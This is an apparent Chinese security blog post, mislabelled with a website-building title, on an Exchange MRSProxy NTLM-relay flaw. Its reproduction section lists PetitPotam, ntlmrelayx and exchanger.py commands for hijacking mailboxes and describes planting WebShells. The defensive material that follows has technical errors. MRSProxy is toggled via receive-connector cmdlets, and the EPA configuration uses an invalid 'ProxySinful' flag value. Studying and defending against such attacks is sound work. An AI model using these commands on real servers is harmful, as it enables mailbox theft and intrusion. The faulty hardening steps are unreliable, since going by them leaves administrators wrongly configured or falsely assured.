企业官网建设流程全解析

2026年8月微软补丁日，CVE-2026-62911正式公开。

这是DEVCORE研究员Orange Tsai在Pwn2Own柏林2026大赛拿下20万美元奖金的漏洞链，核心是Microsoft Exchange的MRSProxy服务存在认证缺陷，攻击者通过NTLM中继就能绕过身份校验，直接接管整台服务器上的所有邮箱，进阶还能拿到系统权限横向内网。

截止8月底，Shadowserver公网扫描数据显示全球还有21899台暴露的Exchange服务器未安装修复补丁，国内企业本地部署环境占比不低。PoC代码已经在各大安全社区扩散，攻击门槛几乎降到了零。

很多运维拿到漏洞通知就急着找补丁、查版本，很少有人想透：为什么一个代理服务的小缺陷，破坏力这么大？为什么微软标注的“需用户交互”，实际可以做到无感知攻击？没买ESU扩展支持的老版本Exchange，除了硬扛还有没有办法？

这篇文章从第一性原理拆解漏洞本质，站在攻击者视角做对抗式审查，给你可直接落地的检测脚本、复现路径和完整防护清单。

一、漏洞本质：MRSProxy为什么会成为突破口

MRSProxy全称Mailbox Replication Service Proxy，邮箱复制服务代理，是Exchange里专门处理跨林、跨租户邮箱迁移的组件。它运行在IIS的HTTP.sys上，对外暴露/mrsproxy端点，默认启用。

从设计逻辑看，MRSProxy要处理机器级别的迁移操作，认证体系直接对接Windows NTML协议，允许机器账号调用接口。

漏洞的核心问题只有一个：MRSProxy端点默认没有强制启用认证扩展保护（Extended Protection for Authentication，EPA）。

这是典型的CWE-294捕获-重放缺陷。NTLM协议本身不支持服务器端对客户端的身份通道绑定，攻击者只要截获到合法的NTLM认证凭据，就可以原样中继到目标服务，冒充合法身份完成认证。EPA就是专门用来防御这类攻击的机制，它会把客户端的通道绑定信息嵌入认证流程，中继的凭据因为通道不匹配，会直接被拒绝。

Exchange的大部分Web接口早就默认开启了EPA，但唯独MRSProxy漏了。
Orange Tsai找到的就是这个缺口。

完整攻击链路

攻击者完整的攻击链分四步走：

1. 触发认证。攻击者通过PetitPotam工具调用Exchange服务器的EFSRPC接口，强制Exchange的机器账号向攻击者指定的服务器发起NTLM认证请求。整个过程不需要任何用户交互，也不需要提前拿到任何账号权限，只要网络可达就能执行。
2. 捕获中继。攻击者用ntlmrelayx搭建中继服务器，接住Exchange机器账号发过来的NTLM认证请求，不破解哈希，直接原样转发给目标Exchange的MRSProxy端点。
3. 绕过认证。MRSProxy没开EPA，不会校验通道绑定，直接接受中继过来的机器账号凭据，认证通过。攻击者直接拿到Exchange管理员级权限。
4. 扩大战果。基础操作是调用Exchange管理接口，读取任意用户邮件、发送伪造邮件、下载全部附件。进阶操作是通过WCF接口往IIS目录写ASPX脚本，拿到WebShell最终获取服务器SYSTEM权限，再横向渗透整个内网。

对抗式审查：官方风险评级严重低估

微软官方漏洞说明里写了“成功利用需要攻击者拥有基础权限，且用户需执行交互操作”，这个描述严重脱离实际攻击场景。

站在攻击者视角，PetitPotam触发机器账号认证完全不需要用户交互，只要网络可达就能打。基础权限的门槛也不存在——机器账号的认证是服务器主动发出来的，攻击者不需要提前持有任何账号权限。

换句话说，只要你的Exchange服务器公网暴露了443端口，同时RPC端口（135、445等）能被访问，攻击者就可以直接走完完整攻击链。就算RPC端口没公网开放，内网只要有一台机器被攻陷，攻击者也能从内网发起中继，打穿整个Exchange。

这就是这个漏洞最危险的地方：它不是需要钓鱼配合的客户端漏洞，是可以直接打服务端的远程漏洞，攻击成本极低，收益极高。

二、影响范围：别只看CU版本，构建号才是唯一标准

很多运维查漏洞的时候，只看自己的Exchange是CU14还是CU15，觉得装了最新CU就没事。这是错的。

微软给每个CU都会发累积更新补丁，同一个CU下面有不同的构建号，只有构建号等于或高于修复版本，才是真的补了漏洞。

受影响的全部是本地部署的Exchange Server，Exchange Online云邮箱不受这个漏洞影响。

在Exchange Management Shell里执行一行命令就能查到真实构建号：

Get-ExchangeServer | Select-Object Name, AdminDisplayVersion

输出结果里的数字就是构建号，和上表的修复构建号比对，低于即存在漏洞。

对抗式审查：没有ESU的企业才是重灾区

这里有个绝大多数企业都会踩的坑：Exchange 2016和2019的主流支持已经结束，微软不再给普通用户发放安全补丁。只有购买了ESU（Extended Security Updates）扩展安全更新授权的客户，才能下载到对应的KB补丁。

没买ESU的企业，就算明确知道自己有漏洞，也拿不到官方修复包。这部分环境占了目前公网暴露未修补服务器的绝大多数，也是攻击者重点扫描的目标。

不要尝试把SE版的补丁强行打去2019版本，内核不兼容，强行安装会直接导致Exchange服务崩溃。没有ESU的环境，只能靠临时缓解措施硬扛，没有根治手段。

三、漏洞复现路径：站在攻击者视角走完全流程

这部分拆解完整复现步骤，方便理解攻击逻辑，也可以在隔离靶场做验证。注意：禁止在公网生产环境测试，所有复现必须在隔离内网靶场进行。

复现环境准备

• 靶机：Windows Server 2019 + Exchange 2019 CU15（未打KB5121574），已加入域，MRSProxy默认开启
• 攻击机：Kali Linux，安装impacket工具集、ntlmrelayx、PetitPotam
• 网络条件：攻击机能访问靶机的445端口和443端口

步骤1：搭建NTLM中继服务器

攻击机上执行，开启中继服务，目标指向Exchange的MRSProxy端点：

ntlmrelayx.py -t https://<exchange-ip>/mrsproxy -smb2support --no-http-server

这里要明确：中继目标支持HTTPS协议，ntlmrelayx原生支持HTTPS中继，所以Exchange开了SSL加密也没用，挡不住中继攻击。

步骤2：触发Exchange机器账号认证

用PetitPotam工具，指定攻击机IP作为中继服务器，强制Exchange机器账号主动发起认证：

python3 PetitPotam.py <攻击机IP> <Exchange-IP>

执行成功后，Exchange服务器会立刻向攻击机445端口发起SMB连接，携带机器账号的NTLM凭据。
ntlmrelayx会自动捕获这个凭据，然后转发给MRSProxy端点。

步骤3：验证认证绕过结果

中继成功后，ntlmrelayx会返回认证通过的信息，攻击者可以通过Exchange的EWS接口，用机器账号权限访问所有邮箱。
比如用impacket的exchanger.py工具直接列出所有邮箱：

python3 exchanger.py -u 'DOMAIN\ExchangeServer$' -H <ntlm-hash> <exchange-ip> list

到这一步就已经实现邮箱劫持，所有用户的邮件都可以任意读取、导出。

步骤4：进阶：写入WebShell拿系统权限

拿到Exchange高权限后，攻击者可以调用MRS的WCF接口，往IIS的wwwroot目录写入ASPX木马。Exchange应用池权限很高，写进去的WebShell直接就是SYSTEM权限。

公开PoC已经封装了这一步的工具，从触发认证到拿到Shell，整个过程不超过3分钟。

攻击技术架构

graph TD
subgraph 攻击者侧
Attacker[攻击者主机]
Relay[NTLM中继服务器]
end
subgraph 企业网络边界
FW[防火墙/反向代理]
end
subgraph Exchange服务器
IIS[IIS Web服务]
MRS[MRSProxy 端点
(HTTP.sys)]
EPA[认证扩展保护 EPA
漏洞点: 默认未启用]
Backend[Exchange后端服务
邮箱/AD接口]
end
subgraph 域控
DC[AD域控
处理NTLM认证]
end

Attacker -->|调用RPC触发认证| Exchange服务器 Exchange服务器 -->|机器账号NTLM请求| Relay Relay -->|中继认证流量| FW FW -->|透传请求| MRS MRS -->|无EPA校验 直接放行| Backend Backend -->|提交认证请求| DC DC -->|返回认证通过| Backend

对抗式审查：常规防护几乎全部失效

很多人有两个常见误区，这里直接戳破。

1. 第一个误区：Exchange前面加了反向代理，就能防这个漏洞。
   要看反向代理的配置。如果反向代理只是做端口转发，透传原始NTLM认证，中继攻击照样能打穿。只有反向代理做了身份终结，自己先完成用户认证，再用服务账号访问后端Exchange，才能挡住NTLM中继。
2. 第二个误区：开了杀毒软件、EDR就能检测到攻击。
   这个漏洞走的是完全合法的认证流程，没有恶意代码，也没有畸形的漏洞利用流量，杀毒软件和EDR根本检测不出来。传统边界防火墙也没用，所有流量都走正常的HTTPS和SMB端口，协议完全合法。

这就是认证型漏洞的可怕之处：它利用的是协议本身的设计缺陷，全程没有非法操作，所有行为看起来都是正常的。

四、实战排查：一键检测脚本+入侵痕迹定位

光知道原理没用，企业首先要做的是快速排查自身风险，以及判断有没有已经被入侵。

下面是完整的PowerShell检测脚本，直接在Exchange服务器的Exchange Management Shell里运行，就能一次性查出版本风险、MRSProxy状态、EPA配置、补丁安装状态，最后给出风险等级。

Exchange CVE-2026-62911 一键检测脚本

<# .DESCRIPTION CVE-2026-62911 一键检测脚本，覆盖版本校验、MRSProxy状态、EPA配置、补丁检测 #> # 修复版本基准表 $fixVersions = @{ "15.1.2507" = [Version]"15.1.2507.72" # Exchange 2016 CU23 "15.2.1544" = [Version]"15.2.1544.44" # Exchange 2019 CU14 "15.2.1748" = [Version]"15.2.1748.49" # Exchange 2019 CU15 "15.2.2562" = [Version]"15.2.2562.46" # Exchange SE } # 对应修复补丁列表 $targetKBs = @("KB5121573", "KB5121574", "KB5121575", "KB5121576") Write-Host "===== CVE-2026-62911 漏洞检测 =====" -ForegroundColor Cyan Write-Host "" # 1. Exchange版本检测 try { $servers = Get-ExchangeServer -ErrorAction Stop Write-Host "[1] Exchange服务器版本检测" -ForegroundColor Yellow $versionRisk = $false foreach ($s in $servers) { $ver = [Version]$s.AdminDisplayVersion $buildKey = "$($ver.Major).$($ver.Minor).$($ver.Build)" Write-Host " 服务器: $($s.Name)" Write-Host " 构建号: $ver" if ($fixVersions.ContainsKey($buildKey)) { if ($ver -lt $fixVersions[$buildKey]) { Write-Host " 风险状态: 存在漏洞，低于修复版本" -ForegroundColor Red $versionRisk = $true } else { Write-Host " 风险状态: 版本已修复" -ForegroundColor Green } } else { Write-Host " 风险状态: 非受影响版本或版本未知" -ForegroundColor Gray } } } catch { Write-Host "[1] 获取Exchange版本失败，请确认在Exchange Management Shell中运行" -ForegroundColor Red } Write-Host "" # 2. MRSProxy启用状态检测 try { $connectors = Get-ReceiveConnector -ErrorAction Stop Write-Host "[2] MRSProxy服务状态检测" -ForegroundColor Yellow $mrsEnabled = $false foreach ($conn in $connectors) { if ($conn.MRSProxyEnabled) { $mrsEnabled = $true Write-Host " 连接器 $($conn.Identity): 已启用MRSProxy" -ForegroundColor Red } } if (-not $mrsEnabled) { Write-Host " 所有连接器均未启用MRSProxy" -ForegroundColor Green } } catch { Write-Host "[2] 获取接收连接器配置失败" -ForegroundColor Red } Write-Host "" # 3. MRSProxy EPA配置检测 try { Write-Host "[3] MRSProxy认证扩展保护(EPA)检测" -ForegroundColor Yellow $sitePath = "IIS:\Sites\Default Web Site\mrsproxy" if (Test-Path $sitePath) { $tokenMode = Get-WebConfigurationProperty ` -Filter "system.webServer/security/authentication/windowsAuthentication" ` -PSPath $sitePath ` -Name "extendedProtection.tokenChecking" Write-Host " EPA令牌校验模式: $($tokenMode.Value)" switch ($tokenMode.Value) { "Required" { Write-Host " 防护状态: 强制启用，可防御NTLM中继" -ForegroundColor Green } "Allow" { Write-Host " 防护状态: 仅允许模式，无法完全防御中继" -ForegroundColor Yellow } default { Write-Host " 防护状态: 未启用，存在中继风险" -ForegroundColor Red } } } else { Write-Host " 未找到MRSProxy站点路径" -ForegroundColor Gray } } catch { Write-Host "[3] 读取EPA配置失败，请确认IIS管理模块已安装" -ForegroundColor Red } Write-Host "" # 4. 补丁安装状态检测 try { Write-Host "[4] 修复补丁安装状态检测" -ForegroundColor Yellow $installed = Get-HotFix | Select-Object -ExpandProperty HotFixID $foundKB = $false foreach ($kb in $targetKBs) { if ($installed -contains $kb) { Write-Host " $kb 已安装" -ForegroundColor Green $foundKB = $true } } if (-not $foundKB) { Write-Host " 未检测到对应修复补丁" -ForegroundColor Red } } catch { Write-Host "[4] 读取系统补丁列表失败" -ForegroundColor Red } Write-Host "" Write-Host "===== 检测完成 =====" -ForegroundColor Cyan Write-Host "结论: 若版本存在漏洞 + MRSProxy启用 + EPA未启用，属于高风险，请立即处置"

脚本直接复制就能运行，不需要额外安装组件，Exchange服务器默认自带所有依赖命令。

入侵痕迹排查

如果你的服务器还没打补丁，不要急着安装。先排查有没有已经被入侵，攻击者打完补丁再清理痕迹，你就什么都查不到了。
从四个维度依次排查：

1. IIS日志排查
   IIS日志默认路径C:\inetpub\logs\LogFiles\W3SVC1\，重点查两个特征：路径包含/mrsproxy/的POST请求，以及来源IP非常见管理IP的异常接口调用。
   用PowerShell快速筛查：

Get-ChildItem "C:\inetpub\logs\LogFiles\W3SVC1\" -Filter "*.log" | Select-String -Pattern "/mrsproxy/" | Select-Object -First 50 | Format-Table LineNumber, Line -AutoSize

2. Exchange应用日志
   打开事件查看器，定位到应用程序和服务日志 > Microsoft > Exchange，查找异常的邮箱复制操作、批量邮箱访问记录。非工作时间出现的大规模邮箱导出操作，大概率是被攻击的特征。
3. 文件系统排查
   检查Exchange的IIS站点目录，默认路径C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\，查看有没有最近新增的.aspx、.ashx、.asp文件，重点关注漏洞公开日期之后修改的陌生文件。
   同时检查C:\Windows\Temp和C:\Users\Public目录，有没有可疑的脚本、可执行程序。
4. 系统安全日志
   筛选Windows安全日志的事件ID 4624，查找Exchange机器账号的异常网络登录记录（登录类型3），如果来源IP是陌生地址，大概率是中继攻击留下的痕迹。

对抗式审查：没查到痕迹不代表没被攻击

不要觉得日志里没查到异常就一定安全。老练的攻击者得手后会立刻清理日志，或者用跳板IP发起攻击，溯源根本查不到真实来源。
还有更隐蔽的场景：攻击者不写WebShell，只把所有邮件批量下载走。这种攻击全程只有读操作，不留下任何文件痕迹，只有开启邮件审计才能发现。如果你的Exchange没开邮件审计功能，基本等于被偷了数据都不知道。
所以排查不能只靠日志，要结合权限基线、文件完整性检查一起做。

五、防护加固方案：从紧急到长期，每条都做对抗验证

防护方案分三个优先级，P0是根治手段，P1是临时缓解，P2是长期加固。每一条都会站在攻击者视角说清楚，这个措施能不能防，有没有绕过的可能。

P0：安装官方安全补丁（唯一根治手段）

补丁是解决这个漏洞的根本办法，没有任何缓解措施的可靠性能超过补丁。

• Exchange SE订阅版：直接通过Windows更新安装KB5121573，也可以去微软更新目录下载手动安装包。
• Exchange 2019 CU14/CU15：必须持有有效的ESU授权，才能下载KB5121574/KB5121575。
• Exchange 2016 CU23：同样需要ESU授权，安装KB5121576。

安装注意事项：

1. 所有Exchange角色服务器都要打，包括边缘传输、客户端访问服务器，不要只补前端。
2. 安装完成必须重启Exchange服务，建议直接重启服务器。
3. 装完用上面的检测脚本再跑一遍，确认构建号已经升到修复版本以上。
4. 打补丁前先做入侵排查，不要给已经植入后门的服务器打补丁，等于帮攻击者掩盖痕迹。

对抗式审查

打了补丁是不是就一劳永逸？不是。
补丁只能修复CVE-2026-62911这一个漏洞，MRSProxy还有没有其他未公开的缺陷，没人能保证。而且NTLM中继是系统性问题，不是这一个漏洞的事，就算补了MRSProxy，Exchange上还有其他接口可能被中继攻击。
补丁是必选项，但不是唯一选项。打完补丁也要做基线加固，不能高枕无忧。

P1：临时缓解措施（无ESU/不能立刻打补丁的环境）

很多企业的Exchange 2016/2019没买ESU，拿不到补丁，只能靠缓解措施。下面几条按优先级从高到低排列，能做多少做多少。

1. 直接关闭MRSProxy服务（优先级最高）

如果企业没有跨林邮箱迁移、跨租户迁移的需求，直接把MRSProxy关了，漏洞直接失去攻击入口。
执行命令：

Get-ReceiveConnector | Set-ReceiveConnector -MRSProxyEnabled $false

执行完重启IIS生效：

iisreset /restart

关闭MRSProxy对普通用户收发邮件完全没有影响，只是不能做跨林迁移。绝大多数企业的Exchange都用不到这个功能，关了百利无一害。

2. 强制启用MRSProxy的认证扩展保护（EPA）

如果业务必须使用MRSProxy，不能关闭，那就一定要把EPA设置为强制模式。
PowerShell配置命令：

Set-WebConfigurationProperty -Filter "system.webServer/security/authentication/windowsAuthentication" ` -PSPath "IIS:\Sites\Default Web Site\mrsproxy" ` -Name "extendedProtection.tokenChecking" ` -Value "Required" Set-WebConfigurationProperty -Filter "system.webServer/security/authentication/windowsAuthentication" ` -PSPath "IIS:\Sites\Default Web Site\mrsproxy" ` -Name "extendedProtection.flags" ` -Value "Proxy, ProxySinful" iisreset /restart

EPA设为Required后，NTLM中继的流量会因为通道绑定不匹配被直接拒绝，攻击链直接断裂。

3. 防火墙层面封堵MRSProxy的公网访问

MRSProxy接口只应该给内部做迁移的服务器使用，完全没必要暴露到公网。
在防火墙或者反向代理上，把/mrsproxy/*路径的公网访问全部禁用，只允许内网可信IP段访问。
如果是公网必须开放的场景，一定要加严格的IP白名单，只允许指定的迁移源IP访问，不能全开。

4. 域控层面封堵PetitPotam攻击路径

PetitPotam是触发机器账号认证的常用工具，在域控上禁用EFSRPC远程访问，可以挡住大部分无交互触发场景。
修改注册表禁用EFSRPC：

reg add "HKLM\SYSTEM\CurrentControlSet\Services\EFS\Parameters" /v "RpcProtocolEnabled" /t REG_DWORD /d 0 /f

执行完重启服务器生效。

防护体系架构

对抗式审查

每条缓解措施都有它的局限性，不要觉得做了其中一条就万事大吉。

• 关了MRSProxy只能防这个漏洞，挡不住其他接口的NTLM中继攻击。
• 开了EPA也不是绝对安全，如果攻击者控制了中间的反向代理拿到TLS终止权限，EPA也能被绕过，只是这种场景门槛很高。
• 堵了公网挡不住内网攻击，只要内网有一台机器被攻陷，攻击者照样可以从内网发起中继。
• 封了PetitPotam还有PrinterBug、DFSCoerce等一堆工具可以触发机器账号认证，堵一个接口解决不了根本问题。
  缓解措施只能提升攻击成本，做不到百分之百防御。没有ESU的企业，要尽快规划版本升级或者迁移，不能一直靠临时措施硬扛。

P2：中长期加固方案

临时措施只能救急，长期来看，本地Exchange的安全问题会越来越多，微软以后只会逐步停止本地版本的支持，新漏洞只会越来越多。
三个中长期的加固方向：

1. 评估迁移至Exchange Online
   这是最彻底的方案，把邮箱迁到微软云，所有底层安全运维都交给微软，企业不用再操心单个漏洞的修复。
   如果因为合规要求、数据主权不能迁公有云，再考虑下面两个方案。
2. 部署邮件安全网关+零信任访问
   在Exchange前面加一层专业的邮件安全网关，做身份终结、流量检测、异常行为分析。所有公网访问都先走网关，不直接暴露Exchange服务器。
   同时用零信任思路，对Exchange的管理接口、特殊功能接口做细粒度权限控制，不默认信任任何内网IP，每次访问都做身份校验和权限验证。
3. 建立Exchange安全基线巡检机制
   每季度做一次完整的安全基线检查，覆盖补丁状态、接口启用情况、认证配置、权限审计。不要等漏洞爆出来了才临时抱佛脚。
   重点关注微软的ESU更新动态，提前规划版本升级，不要等到主流支持结束了才着急。

六、应急响应：真被入侵了怎么办

如果排查下来确认已经被攻击，按下面的流程处理，不要乱。

1. 隔离服务器，保留现场
   第一时间在防火墙上断掉Exchange服务器的公网访问，但是不要关机、不要重启，保留内存和日志现场，方便后续取证。
   有条件的话，先做内存镜像和磁盘快照，再进行后续操作。
2. 全面取证排查
   排查IIS日志、系统日志、Exchange日志，确定攻击时间、攻击IP、攻击者执行了哪些操作。
   全盘扫描查找WebShell、恶意脚本、计划任务、新增服务。重点排查Exchange应用池目录和系统临时目录。
   检查域控日志，确认攻击者有没有用Exchange机器账号做横向移动，有没有访问过其他核心服务器，特别是域控。
3. 清除后门，封堵漏洞
   删除所有发现的WebShell和恶意文件，恢复被修改的系统配置。
   安装对应安全补丁，或者启用缓解措施，先把漏洞堵上，防止攻击者再次进入。
4. 重置所有凭据
   不要只改几个管理员密码。

• 重置Exchange服务器的机器账号密码
• 重置所有域管理员账号密码
• 重置所有Exchange管理员的账号密码
• 如果怀疑域控被攻陷，重置KRBTGT账号密码，防范黄金票据
• 建议批量修改所有用户的邮箱密码，防止攻击者已经拿到用户凭据

5. 恢复业务，复盘加固
   确认后门清理干净、漏洞封堵完成后，再逐步恢复业务。
   事后必须做复盘，搞清楚攻击是怎么进来的，哪个防护环节失效了，然后针对性加固。不要补完漏洞就完事，下次换个新漏洞照样被打穿。

对抗式审查

很多企业应急响应的最大误区，是只处理Exchange这一台服务器，不查内网横向。
Exchange服务器的机器账号在域里权限不低，攻击者拿到之后，可以继续中继到其他服务器甚至域控。如果只清理Exchange的后门，不排查其他服务器，过不了多久还会被打回来。
还有的企业应急完不做日志留存、不做复盘，下次出同样的问题还是一样乱。应急响应的核心不是快速恢复业务，是搞清楚为什么会出事，以后怎么不再出事。

七、本地Exchange的安全困境

CVE-2026-62911不是第一个Exchange高危漏洞，也绝对不会是最后一个。

从历史上看，Exchange几乎每个季度都会出一两个能直接拿权限的高危漏洞，从ProxyLogon到ProxyShell，再到现在的MRSProxy缺陷，攻击面从OWA转到EWS，再转到各种边缘组件，攻击者总能找到新的突破口。

微软的战略很明确，重心往Exchange Online转，本地版本的支持力度会越来越弱。Exchange 2016已经停止主流支持，2019也快了，以后的安全补丁都会绑定ESU，价格一年比一年贵。

对于企业来说，这是个很现实的问题：继续用本地Exchange，就要承担越来越高的安全风险和ESU成本；迁到云上，又有合规和数据的顾虑。

没有标准答案，每个企业要根据自己的实际情况做选择。但有一点是确定的：抱着老版本不升级，也不做安全加固，早晚要出事。这次是邮箱劫持，下次可能就是勒索加密。

邮件系统是企业的核心数据资产，也是内网渗透的绝佳突破口。重视邮件安全，不是多装几个杀毒软件就能解决的，要从架构、流程、人员全方位做建设。

你们公司的Exchange还在跑2016/2019版本吗？有没有开通ESU扩展支持？欢迎在评论区说说你的处置方案。

你还遇到过哪些Exchange相关的攻防场景？也可以在评论区分享你的经验。